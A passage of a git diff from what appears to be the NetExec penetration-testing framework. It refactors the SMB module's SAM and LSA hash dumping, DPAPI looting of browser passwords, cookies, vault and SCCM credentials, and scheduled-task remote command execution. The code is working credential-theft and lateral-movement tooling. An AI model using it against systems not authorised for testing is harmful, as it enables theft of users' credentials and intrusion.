session.sesi10_cname.find(self.local_ip) == -1: - self.logger.highlight(f"{session.sesi10_cname:<25} User:{session.sesi10_username}") - return sessions - except Exception: - pass + def smb_sessions(self): + self.logger.fail("[REMOVED] Use option --qwinsta or --loggedon-users") + return def disks(self): - disks = [] try: - disks = get_localdisks( - self.host, - self.domain, - self.username, - self.password, - self.lmhash, - self.nthash, - ) - self.logger.display("Enumerated disks") - for disk in disks: - self.logger.highlight(disk.disk) - except Exception as e: - error, desc = e.getErrorString() - self.logger.fail( - f"Error enumerating disks: {error}", - color="magenta" if error in smb_error_status else "red", - ) + rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\srvsvc", smb_connection=self.conn) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) - return disks + response = srvs.hNetrServerDiskEnum(dce, 0) + # Process the response + self.logger.display("Enumerated disks:") + for disk in response["DiskInfoStruct"]["Buffer"]: + if disk["Disk"] != "\x00": + self.logger.highlight(disk["Disk"]) + except Exception as e: + self.logger.fail(f"Failed to enumerate disks: {e}") def local_groups(self): - groups = [] - # To enumerate local groups the DC IP is optional - # if specified it will resolve the SIDs and names of any domain accounts in the local group - for dc_ip in self.get_dc_ips(): - try: - groups = get_netlocalgroup( - self.host, - dc_ip, - "", - self.username, - self.password, - self.lmhash, - self.nthash, - queried_groupname=self.args.local_groups, - list_groups=bool(not self.args.local_groups), - recurse=False, - ) + self.logger.display("Enumerating with SAMRPC protocol") + try: + groups, members = SamrFunc(self).get_local_groups(self.args.local_groups) + except DCERPCException as e: + self.logger.fail(f"Error enumerating local groups: {e}") + return - if self.args.local_groups: - self.logger.success("Enumerated members of local group") - else: - self.logger.success("Enumerated local groups") + if groups and not self.args.local_groups: + self.logger.success("Enumerated local groups") + self.logger.debug(f"Local groups: {groups}") - for group in groups: - if group.name: - if not self.args.local_groups: - self.logger.highlight(f"{group.name:<40} membercount: {group.membercount}") - group_id = self.db.add_group( - self.hostname, - group.name, - member_count_ad=group.membercount, - )[0] - else: - domain, name = group.name.split("/") - self.logger.highlight(f"domain: {domain}, name: {name}") - self.logger.highlight(f"{domain.upper()}\\{name}") - try: - group_id = self.db.get_groups( - group_name=self.args.local_groups, - group_domain=domain, - )[0][0] - except IndexError: - group_id = self.db.add_group( - domain, - self.args.local_groups, - member_count_ad=group.membercount, - )[0] + for group_name, group_rid in groups.items(): + self.logger.highlight(f"{group_rid} - {group_name}") + group_id = self.db.add_group(self.hostname, group_name, rid=group_rid)[0] + self.logger.debug(f"Added group, returned id: {group_id}") + elif groups and members: + self.logger.success(f"Enumerated users of local groups: {groups.popitem()[0]}") - # domain groups can be part of a local group which is also part of another local group - if not group.isgroup: - self.db.add_credential("plaintext", domain, name, "", group_id, "") - elif group.isgroup: - self.db.add_group(domain, name, member_count_ad=group.membercount) - break - except Exception as e: - self.logger.fail(f"Error enumerating local groups of {self.host}: {e}") - self.logger.display("Trying with SAMRPC protocol") - groups = SamrFunc(self).get_local_groups() - if groups: - self.logger.success("Enumerated local groups") - self.logger.debug(f"Local groups: {groups}") - - for group_name, group_rid in groups.items(): - self.logger.highlight(f"rid => {group_rid} => {group_name}") - group_id = self.db.add_group(self.hostname, group_name, rid=group_rid)[0] - self.logger.debug(f"Added group, returned id: {group_id}") - return groups - - def domainfromdsn(self, dsn): - dsnparts = dsn.split(",") - domain = "" - for part in dsnparts: - k, v = part.split("=") - if k == "DC": - domain = v if domain == "" else domain + "." + v - return domain - - def domainfromdnshostname(self, dns): - dnsparts = dns.split(".") - domain = ".".join(dnsparts[1:]) - return domain, dnsparts[0] + "$" + members = dict(sorted(members.items(), key=lambda item: int(item[0].split("-")[-1]))) + for member in members: + self.logger.highlight(f"{member} - {members[member]}") def groups(self): - groups = [] - for dc_ip in self.get_dc_ips(): - if self.args.groups: - try: - groups = get_netgroupmember( - dc_ip, - self.domain, - self.username, - password=self.password, - lmhash=self.lmhash, - nthash=self.nthash, - queried_groupname=self.args.groups, - queried_sid="", - queried_domain="", - ads_path="", - recurse=False, - use_matching_rule=False, - full_data=False, - custom_filter="", - ) - - self.logger.success("Enumerated members of domain group") - for group in groups: - member_count = len(group.member) if hasattr(group, "member") else 0 - self.logger.highlight(f"{group.memberdomain}\\{group.membername}") - try: - group_id = self.db.get_groups( - group_name=self.args.groups, - group_domain=group.groupdomain, - )[0][0] - except IndexError: - group_id = self.db.add_group( - group.groupdomain, - self.args.groups, - member_count_ad=member_count, - )[0] - if not group.isgroup: - self.db.add_credential( - "plaintext", - group.memberdomain, - group.membername, - "", - group_id, - "", - ) - elif group.isgroup: - group_id = self.db.add_group( - group.groupdomain, - group.groupname, - member_count_ad=member_count, - )[0] - break - except Exception as e: - self.logger.fail(f"Error enumerating domain group members using dc ip {dc_ip}: {e}") - else: - try: - groups = get_netgroup( - dc_ip, - self.domain, - self.username, - password=self.password, - lmhash=self.lmhash, - nthash=self.nthash, - queried_groupname="", - queried_sid="", - queried_username="", - queried_domain="", - ads_path="", - admin_count=False, - full_data=True, - custom_filter="", - ) - - self.logger.success("Enumerated domain group(s)") - for group in groups: - member_count = len(group.member) if hasattr(group, "member") else 0 - self.logger.highlight(f"{group.samaccountname:<40} membercount: {member_count}") - - if bool(group.isgroup) is True: - # Since there isn't a groupmember attribute on the returned object from get_netgroup - # we grab it from the distinguished name - domain = self.domainfromdsn(group.distinguishedname) - group_id = self.db.add_group( - domain, - group.samaccountname, - member_count_ad=member_count, - )[0] - break - except Exception as e: - self.logger.fail(f"Error enumerating domain group using dc ip {dc_ip}: {e}") - return groups + self.logger.fail("[REMOVED] Arg moved to the ldap protocol") + return def users(self): - if len(self.args.users) > 0: + if self.args.users: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") - return UserSamrDump(self).dump(self.args.users) + return UserSamrDump(self).dump(requested_users=self.args.users, dump_path=self.args.users_export) + + def users_export(self): + self.users() def computers(self): - hosts = [] - for dc_ip in self.get_dc_ips(): - try: - hosts = get_netcomputer( - dc_ip, - self.domain, - self.username, - password=self.password, - lmhash=self.lmhash, - nthash=self.nthash, - queried_domain="", - ads_path="", - custom_filter="", - ) - - self.logger.success("Enumerated domain computer(s)") - for host in hosts: - domain, host_clean = self.domainfromdnshostname(host.dnshostname) - self.logger.highlight(f"{domain}\\{host_clean:<30}") - break - except Exception as e: - self.logger.fail(f"Error enumerating domain computers using dc ip {dc_ip}: {e}") - break - return hosts + self.logger.fail("[REMOVED] Arg moved to the ldap protocol") + return def loggedon_users(self): - logged_on = [] + if self.args.loggedon_users_filter: + self.logger.fail("[REMOVED] Use option '--loggedon-users ' for filtering") + + logged_on = set() try: - logged_on = get_netloggedon( - self.host, - self.domain, - self.username, - self.password, - lmhash=self.lmhash, - nthash=self.nthash, - ) - logged_on = {(f"{user.wkui1_logon_domain}\\{user.wkui1_username}", user.wkui1_logon_server) for user in logged_on} - self.logger.success("Enumerated logged_on users") - if self.args.loggedon_users_filter: - for user in logged_on: - if re.match(self.args.loggedon_users_filter, user[0].split("\\")[1]): - self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}") - else: - for user in logged_on: - self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}") + rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\wkssvc", smb_connection=self.conn) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(wkst.MSRPC_UUID_WKST) + + response = wkst.hNetrWkstaUserEnum(dce, 1) + for user in response["UserInfo"]["WkstaUserInfo"]["Level1"]["Buffer"]: + user_info = (user["wkui1_logon_domain"][:-1], user["wkui1_username"][:-1], user["wkui1_logon_server"][:-1]) + if user_info not in logged_on: + logged_on.add(user_info) + if self.args.loggedon_users: + if re.match(self.args.loggedon_users, user_info[1]): + self.logger.highlight(f"{user_info[0]}\\{user_info[1]:<25} logon_server: {user_info[2]}") + else: + self.logger.highlight(f"{user_info[0]}\\{user_info[1]:<25} logon_server: {user_info[2]}") except Exception as e: self.logger.fail(f"Error enumerating logged on users: {e}") @@ -1463,9 +1537,12 @@ class smb(connection): for src, dest in self.args.get_file: self.get_file_single(src, dest) - def enable_remoteops(self): + def enable_remoteops(self, regsecret=False): try: - self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) + if regsecret: + self.remote_ops = RegSecretsRemoteOperations(self.conn, self.kerberos, self.kdcHost) + else: + self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) self.remote_ops.enableRegistry() if self.bootkey is None: self.bootkey = self.remote_ops.getBootKey() @@ -1475,7 +1552,7 @@ class smb(connection): @requires_admin def sam(self): try: - self.enable_remoteops() + self.enable_remoteops(regsecret=(self.args.sam == "regdump")) host_id = self.db.get_hosts(filter_term=self.host)[0][0] def add_sam_hash(sam_hash, host_id): @@ -1493,13 +1570,20 @@ class smb(connection): add_sam_hash.sam_hashes = 0 if self.remote_ops and self.bootkey: - SAM_file_name = self.remote_ops.saveSAM() - SAM = SAMHashes( - SAM_file_name, - self.bootkey, - isRemote=True, - perSecretCallback=lambda secret: add_sam_hash(secret, host_id), - ) + if self.args.sam == "regdump": + SAM = RegSecretsSAMHashes( + self.bootkey, + remoteOps=self.remote_ops, + perSecretCallback=lambda secret: add_sam_hash(secret, host_id), + ) + else: + SAM_file_name = self.remote_ops.saveSAM() + SAM = SAMHashes( + SAM_file_name, + self.bootkey, + isRemote=True, + perSecretCallback=lambda secret: add_sam_hash(secret, host_id), + ) self.logger.display("Dumping SAM hashes") SAM.dump() @@ -1510,7 +1594,9 @@ class smb(connection): self.remote_ops.finish() except Exception as e: self.logger.debug(f"Error calling remote_ops.finish(): {e}") - SAM.finish() + + if self.args.sam == "secdump": + SAM.finish() except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping SAM. This is likely due to an endpoint protection.') @@ -1519,13 +1605,6 @@ class smb(connection): @requires_admin def sccm(self): - masterkeys = [] - if self.args.mkfile is not None: - try: - masterkeys += parse_masterkey_file(self.args.mkfile) - except Exception as e: - self.logger.fail(str(e)) - target = Target.create( domain=self.domain, username=self.username, @@ -1539,39 +1618,56 @@ class smb(connection): use_kcache=self.use_kcache, ) - try: - conn = DPLootSMBConnection(target) - conn.smb_session = self.conn - except Exception as e: - self.logger.debug(f"Could not upgrade connection: {e}") + conn = upgrade_to_dploot_connection(connection=self.conn, target=target) + if conn is None: + self.logger.debug("Could not upgrade connection") return - try: - self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...") - masterkeys_triage = MasterkeysTriage( - target=target, - conn=conn, - dpapiSystem={}, - ) - masterkeys += masterkeys_triage.triage_system_masterkeys() - except Exception as e: - self.logger.debug(f"Could not get masterkeys: {e}") + masterkeys = collect_masterkeys_from_target(self, target, conn, user=False) if len(masterkeys) == 0: self.logger.fail("No masterkeys looted") return self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}") + + def sccm_callback(secret): + if isinstance(secret, SCCMCred): + tag = "NAA Account" + self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}") + self.db.add_dpapi_secrets( + target.address, + f"SCCM - {tag}", + "SYSTEM", + secret.username.decode("latin-1"), + secret.password.decode("latin-1"), + "N/A", + ) + elif isinstance(secret, SCCMSecret): + tag = "Task sequences secret" + self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}") + self.db.add_dpapi_secrets( + target.address, + f"SCCM - {tag}", + "SYSTEM", + "N/A", + secret.secret.decode("latin-1"), + "N/A", + ) + elif isinstance(secret, SCCMCollection): + tag = "Collection Variable" + self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}") + self.db.add_dpapi_secrets( + target.address, + f"SCCM - {tag}", + "SYSTEM", + secret.variable.decode("latin-1"), + secret.value.decode("latin-1"), + "N/A", + ) try: - # Collect Chrome Based Browser stored secrets - sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, use_wmi=self.args.sccm == "wmi") - sccmcreds, sccmtasks, sccmcollections = sccm_triage.triage_sccm() - for sccmcred in sccmcreds: - self.logger.highlight(f"[NAA Account] {sccmcred.username.decode('latin-1')}:{sccmcred.password.decode('latin-1')}") - for sccmtask in sccmtasks: - self.logger.highlight(f"[Task sequences secret] {sccmtask.secret.decode('latin-1')}") - for sccmcollection in sccmcollections: - self.logger.highlight(f"[Collection Variable] {sccmcollection.variable.decode('latin-1')}:{sccmcollection.value.decode('latin-1')}") + sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback) + sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", ) except Exception as e: self.logger.debug(f"Error while looting sccm: {e}") @@ -1586,57 +1682,14 @@ class smb(connection): except Exception as e: self.logger.fail(str(e)) - masterkeys = [] - if self.args.mkfile is not None: - try: - masterkeys += parse_masterkey_file(self.args.mkfile) - except Exception as e: - self.logger.fail(str(e)) - - if self.pvkbytes is None and self.no_da is None and self.args.local_auth is False: - try: - results = self.db.get_domain_backupkey(self.domain) - except Exception: - self.logger.fail( - "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ - 'workspace create dpapi' then re-run the dpapi option" - ) - return False - if len(results) > 0: - self.logger.success("Loading domain backupkey from nxcdb...") - self.pvkbytes = results[0][2] - else: - try: - dc_target = Target.create( - domain=self.domain, - username=self.username, - password=self.password, - target=self.domain, # querying DNS server for domain will return DC - lmhash=self.lmhash, - nthash=self.nthash, - do_kerberos=self.kerberos, - aesKey=self.aesKey, - no_pass=True, - use_kcache=self.use_kcache, - ) - dc_conn = DPLootSMBConnection(dc_target) - dc_conn.connect() # Connect to DC - if dc_conn.is_admin(): - self.logger.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - self.pvkbytes = backupkey.backupkey_v2 - self.db.add_domain_backupkey(self.domain, self.pvkbytes) - else: - self.no_da = False - except Exception as e: - self.logger.fail(f"Could not get domain backupkey: {e}") + if self.pvkbytes is None: + self.pvkbytes = get_domain_backup_key(self) target = Target.create( domain=self.domain, username=self.username, password=self.password, - target=self.hostname + "." + self.domain if self.kerberos else self.host, + target=f"{self.hostname}.{self.domain}" if self.kerberos else self.host, lmhash=self.lmhash, nthash=self.nthash, do_kerberos=self.kerberos, @@ -1645,166 +1698,122 @@ class smb(connection): use_kcache=self.use_kcache, ) - try: - conn = DPLootSMBConnection(target) - conn.smb_session = self.conn - except Exception as e: - self.logger.debug(f"Could not upgrade connection: {e}") - return None + conn = upgrade_to_dploot_connection(connection=self.conn, target=target) + if conn is None: + self.logger.debug("Could not upgrade connection") + return - plaintexts = {username: password for _, _, username, password, _, _ in self.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.db.get_credentials(cred_type="hash")} - if self.password != "": - plaintexts[self.username] = self.password - if self.nthash != "": - nthashes[self.username] = self.nthash - - # Collect User and Machine masterkeys - try: - self.logger.display("Collecting User and Machine masterkeys, grab a coffee and be patient...") - masterkeys_triage = MasterkeysTriage( - target=target, - conn=conn, - pvkbytes=self.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem={}, - ) - self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") - masterkeys += masterkeys_triage.triage_masterkeys() - if dump_system: - masterkeys += masterkeys_triage.triage_system_masterkeys() - except Exception as e: - self.logger.debug(f"Could not get masterkeys: {e}") + masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system) if len(masterkeys) == 0: self.logger.fail("No masterkeys looted") - return None + return self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") - credentials = [] - system_credentials = [] + # Collect User and Machine Credentials Manager secrets + def credential_callback(credential): + tag = "CREDENTIAL" + self.logger.highlight(f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}") + self.db.add_dpapi_secrets( + target.address, + tag, + credential.winuser, + credential.username, + credential.password, + credential.target, + ) + try: - # Collect User and Machine Credentials Manager secrets - credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys) + credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback) self.logger.debug(f"Credentials Triage Object: {credentials_triage}") - credentials = credentials_triage.triage_credentials() - self.logger.debug(f"Triaged Credentials: {credentials}") + credentials_triage.triage_credentials() if dump_system: - system_credentials = credentials_triage.triage_system_credentials() - self.logger.debug(f"Triaged System Credentials: {system_credentials}") + credentials_triage.triage_system_credentials() except Exception as e: self.logger.debug(f"Error while looting credentials: {e}") - for credential in credentials: - self.logger.highlight(f"[{credential.winuser}][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}") - self.db.add_dpapi_secrets( - target.address, - "CREDENTIAL", - credential.winuser, - credential.username, - credential.password, - credential.target, - ) - for credential in system_credentials: - self.logger.highlight(f"[SYSTEM][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}") - self.db.add_dpapi_secrets( - target.address, - "CREDENTIAL", - "SYSTEM", - credential.username, - credential.password, - credential.target, - ) + dump_cookies = "cookies" in self.args.dpapi - browser_credentials = [] - cookies = [] - try: - # Collect Chrome Based Browser stored secrets - dump_cookies = "cookies" in self.args.dpapi - browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys) - browser_credentials, cookies = browser_triage.triage_browsers(gather_cookies=dump_cookies) - except Exception as e: - self.logger.debug(f"Error while looting browsers: {e}") - for credential in browser_credentials: - if isinstance(credential, LoginData): - cred_url = credential.url + " -" if credential.url != "" else "-" - self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}") + # Collect Chrome Based Browser stored secrets + def browser_callback(secret): + if isinstance(secret, LoginData): + secret_url = secret.url + " -" if secret.url != "" else "-" + self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}") self.db.add_dpapi_secrets( target.address, - credential.browser.upper(), - credential.winuser, - credential.username, - credential.password, - credential.url, + secret.browser.upper(), + secret.winuser, + secret.username, + secret.password, + secret.url, ) - elif isinstance(credential, GoogleRefreshToken): - self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] Google Refresh Token: {credential.service}:{credential.token}") + elif isinstance(secret, GoogleRefreshToken): + self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}") self.db.add_dpapi_secrets( target.address, - credential.browser.upper(), - credential.winuser, - credential.service, - credential.token, + secret.browser.upper(), + secret.winuser, + secret.service, + secret.token, "Google Refresh Token", ) + elif isinstance(secret, Cookie): + self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}") - if dump_cookies and cookies: - self.logger.display("Start Dumping Cookies") - for cookie in cookies: - if cookie.cookie_value != "": - self.logger.highlight(f"[{cookie.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}") - self.logger.display("End Dumping Cookies") - elif dump_cookies: - self.logger.fail("No cookies found") - - vaults = [] try: - # Collect User Internet Explorer stored secrets - vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys) - vaults = vaults_triage.triage_vaults() + browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback) + browser_triage.triage_browsers(gather_cookies=dump_cookies) except Exception as e: - self.logger.debug(f"Error while looting vaults: {e}") - for vault in vaults: - if vault.type == "Internet Explorer": - resource = vault.resource + " -" if vault.resource != "" else "-" - self.logger.highlight(f"[{vault.winuser}][IEX] {resource} - {vault.username}:{vault.password}") + self.logger.debug(f"Error while looting browsers: {e}") + + def vault_callback(secret): + tag = "IEX" + if secret.type == "Internet Explorer": + resource = secret.resource + " -" if secret.resource != "" else "-" + self.logger.highlight(f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}") self.db.add_dpapi_secrets( target.address, - "IEX", - vault.winuser, - vault.username, - vault.password, - vault.resource, + tag, + secret.winuser, + secret.username, + secret.password, + secret.resource, ) + try: + # Collect User Internet Explorer stored secrets + vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback) + vaults_triage.triage_vaults() + except Exception as e: + self.logger.debug(f"Error while looting vaults: {e}") + + def firefox_callback(secret): + tag = "FIREFOX" + if isinstance(secret, FirefoxData): + url = secret.url + " -" if secret.url != "" else "-" + self.logger.highlight(f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}") + self.db.add_dpapi_secrets( + target.address, + tag, + secret.winuser, + secret.username, + secret.password, + secret.url, + ) + elif isinstance(secret, FirefoxCookie): + self.logger.highlight(f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}") - firefox_credentials = [] try: # Collect Firefox stored secrets - firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn) - firefox_credentials = firefox_triage.run() + firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback) + firefox_triage.run(gather_cookies=dump_cookies) except Exception as e: self.logger.debug(f"Error while looting firefox: {e}") - for credential in firefox_credentials: - url = credential.url + " -" if credential.url != "" else "-" - self.logger.highlight(f"[{credential.winuser}][FIREFOX] {url} {credential.username}:{credential.password}") - self.db.add_dpapi_secrets( - target.address, - "FIREFOX", - credential.winuser, - credential.username, - credential.password, - credential.url, - ) - - if not (credentials or system_credentials or browser_credentials or cookies or vaults or firefox_credentials): - self.logger.fail("No secrets found") @requires_admin def lsa(self): try: - self.enable_remoteops() + self.enable_remoteops(regsecret=(self.args.lsa == "regdump")) def add_lsa_secret(secret): add_lsa_secret.secrets += 1 @@ -1823,14 +1832,21 @@ class smb(connection): add_lsa_secret.secrets = 0 if self.remote_ops and self.bootkey: - SECURITYFileName = self.remote_ops.saveSECURITY() - LSA = LSASecrets( - SECURITYFileName, - self.bootkey, - self.remote_ops, - isRemote=True, - perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), - ) + if self.args.lsa == "regdump": + LSA = RegSecretsLSASecrets( + self.bootkey, + self.remote_ops, + perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), + ) + else: + SECURITYFileName = self.remote_ops.saveSECURITY() + LSA = LSASecrets( + SECURITYFileName, + self.bootkey, + self.remote_ops, + isRemote=True, + perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), + ) self.logger.success("Dumping LSA secrets") LSA.dumpCachedHashes() LSA.exportCached(self.output_filename) @@ -1841,7 +1857,8 @@ class smb(connection): self.remote_ops.finish() except Exception as e: self.logger.debug(f"Error calling remote_ops.finish(): {e}") - LSA.finish() + if self.args.lsa == "secdump": + LSA.finish() except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping LSA. This is likely due to an endpoint protection.') diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index 8da57070..105983d4 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -4,6 +4,7 @@ from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from nxc.helpers.misc import gen_random_string from time import sleep +from datetime import datetime, timedelta class TSCH_EXEC: @@ -60,17 +61,20 @@ class TSCH_EXEC: def output_callback(self, data): self.__outputBuffer = data + def get_end_boundary(self): + # Get current date and time + 5 minutes + end_boundary = datetime.now() + timedelta(minutes=5) + + # Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss" + return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] + def gen_xml(self, command, fileless=False): - xml = """ + xml = f""" - - 2015-07-15T20:35:13.2757294 - true - - 1 - - + + {self.get_end_boundary()} + @@ -134,7 +138,6 @@ class TSCH_EXEC: xml = self.gen_xml(command, fileless) self.logger.debug(f"Task XML: {xml}") - taskCreated = False self.logger.info(f"Creating task \\{tmpName}") try: # windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported @@ -147,11 +150,6 @@ class TSCH_EXEC: else: self.logger.fail(str(e)) return - else: - taskCreated = True - - self.logger.info(f"Running task \\{tmpName}") - tsch.hSchRpcRun(dce, f"\\{tmpName}") done = False while not done: @@ -164,10 +162,6 @@ class TSCH_EXEC: self.logger.info(f"Deleting task \\{tmpName}") tsch.hSchRpcDelete(dce, f"\\{tmpName}") - taskCreated = False - - if taskCreated is True: - tsch.hSchRpcDelete(dce, f"\\{tmpName}") if self.__retOutput: if fileless: @@ -182,7 +176,7 @@ class TSCH_EXEC: ":".join(map(str, self.__rpctransport.get_socket().getpeername())) smbConnection = self.__rpctransport.get_smb_connection() - tries = 0 + tries = 1 # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing sleep(0.4) while True: @@ -191,7 +185,7 @@ class TSCH_EXEC: smbConnection.getFile(self.__share, self.__output_filename, self.output_callback) break except Exception as e: - if tries > self.__tries: + if tries >= self.__tries: self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") break if "STATUS_BAD_NETWORK_NAME" in str(e): @@ -203,18 +197,22 @@ class TSCH_EXEC: # When executing powershell and the command is still running, we get a sharing violation # We can use that information to wait longer than if the file is not found (probably av or something) if "STATUS_SHARING_VIOLATION" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} left, retrying...") + self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...") tries += 1 sleep(1) elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} left, deducting 10 tries and retrying...") + self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...") tries += 10 sleep(1) else: - self.logger.debug(str(e)) + self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...") + tries += 1 + sleep(1) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}") smbConnection.deleteFile(self.__share, self.__output_filename) + except Exception: + pass dce.disconnect() diff --git a/nxc/protocols/smb/database.py b/nxc/protocols/smb/database.py index b21fa675..67fa3457 100755 --- a/nxc/protocols/smb/database.py +++ b/nxc/protocols/smb/database.py @@ -2,7 +2,6 @@ import base64 import sys import warnings from datetime import datetime -from typing import Optional from sqlalchemy import func, Table, select, delete from sqlalchemy.dialects.sqlite import Insert # used for upsert @@ -12,7 +11,7 @@ from sqlalchemy.exc import ( ) from sqlalchemy.exc import SAWarning -from nxc.database import BaseDB +from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger # if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings @@ -350,7 +349,8 @@ class database(BaseDB): hosts = self.get_hosts(host) if users and hosts: - for user, host in zip(users, hosts): + nxc_logger.debug(f"users: {users}, hosts: {hosts}") + for user, host in zip(users, hosts, strict=True): user_id = user[0] host_id = host[0] link = {"userid": user_id, "hostid": host_id} @@ -469,8 +469,8 @@ class database(BaseDB): q = q.filter(self.HostsTable.c.domain.like(like_term)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": - like_term = func.lower(f"%{filter_term}%") - q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term)) + q = format_host_query(q, filter_term, self.HostsTable) + results = self.db_execute(q).all() nxc_logger.debug(f"smb hosts() - results: {results}") return results @@ -693,7 +693,7 @@ class database(BaseDB): except Exception as e: nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}") - def get_domain_backupkey(self, domain: Optional[str] = None): + def get_domain_backupkey(self, domain: str | None = None): """ Get domain backupkey :domain is the domain fqdn @@ -748,11 +748,11 @@ class database(BaseDB): def get_dpapi_secrets( self, filter_term=None, - host: Optional[str] = None, - dpapi_type: Optional[str] = None, - windows_user: Optional[str] = None, - username: Optional[str] = None, - url: Optional[str] = None, + host: str | None = None, + dpapi_type: str | None = None, + windows_user: str | None = None, + username: str | None = None, + url: str | None = None, ): """Get dpapi secrets from nxcdb""" q = select(self.DpapiSecrets) diff --git a/nxc/protocols/smb/dpapi.py b/nxc/protocols/smb/dpapi.py new file mode 100644 index 00000000..9e041f11 --- /dev/null +++ b/nxc/protocols/smb/dpapi.py @@ -0,0 +1,97 @@ +from dploot.lib.target import Target +from dploot.lib.smb import DPLootSMBConnection +from dploot.triage.backupkey import BackupkeyTriage +from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file + + +def get_domain_backup_key(context): + pvkbytes = None + try: + results = context.db.get_domain_backupkey(context.domain) + except Exception: + context.logger.fail( + "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ + 'workspace create dpapi' then re-run the dpapi option" + ) + return False + if len(results) > 0: + context.logger.success("Loading domain backupkey from nxcdb...") + pvkbytes = results[0][2] + elif context.no_da is None and context.args.local_auth is False: + try: + dc_target = Target.create( + domain=context.domain, + username=context.username, + password=context.password, + target=context.domain, # querying DNS server for domain will return DC + lmhash=context.lmhash, + nthash=context.nthash, + 